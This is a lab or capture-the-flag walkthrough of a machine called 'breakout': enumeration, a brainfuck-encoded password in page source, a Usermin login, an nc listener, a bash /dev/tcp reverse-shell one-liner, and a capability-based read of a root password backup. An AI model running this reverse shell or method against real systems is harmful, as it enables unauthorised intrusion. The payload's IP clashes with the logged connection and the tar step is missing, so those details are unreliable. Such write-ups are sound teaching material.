WalkingThrough
WalkingThrough
Enumeration:
We begin the enumeration process with an nmap scan.
From the output of the scan we see ports 80 , 139 , 445 , 1000 and 20000 open and running
on the target.
Using enum4linux we discover the username cyber . We will take note of this for future
reference.
Turning to port 80 , we find the following snippet in the bottom of the page's source.
1 <!--
2 don't worry no one will get here, it's safe to share with you my access. Its
encrypted :)
3
4 ++++++++++[>+>+++>+++++++>++++++++++
<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-
----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.
<<++++++.++++++.
5
6 -->
Turning to an online deobfuscator we can decode the encrypted text written in the brainfuck
language and receive the password .2uqPEfj3D<P'a-3 .
Turning our attention to port 20000 we are redirected to the following Usermin admin panel.
We can enter the credentials discovered from our prior enumeration cyber:.2uqPEfj3D<P'a-3 .
By selecting the terminal window on the bottom of the screen, we are redirected to a terminal
where we can execute arbitrary commands.
We will proceed by obtaining a reverse shell, beginning by setting up a listener on our attack
machine.
1 ┌──(kali㉿kali)-[~]
2 └─$ sudo nc -lvnp 4444
3 listening on [any] 4444 ...
Now we enter the following reverse shell payload on the web terminal.
1 bash -i >& /dev/tcp/192.168.120.156/4444 0>&1
1 ┌──(kali㉿kali)-[~]
2 └─$ sudo nc -nlvp 4444
3 listening on [any] 4444 ...
4 connect to [192.168.119.26] from (UNKNOWN) [192.168.120.156] 33658
5 cyber@breakout:~$
Privilege Escalation
Using getcap -r / 2>/dev/null we see cap_dac_read_search enabled which will allow us to
read any files.
Combining these two features, we can use the tar utility to reveal the contents of the
.old_pass.bak file.
1 cyber@breakout:~$ su root
2 su root
3 Password:Ts&4&YurgtRX(=~h
4
5 root@breakout:/home/cyber/var/backups# id
6 id
7 uid=0(root) gid=0(root) groups=0(root)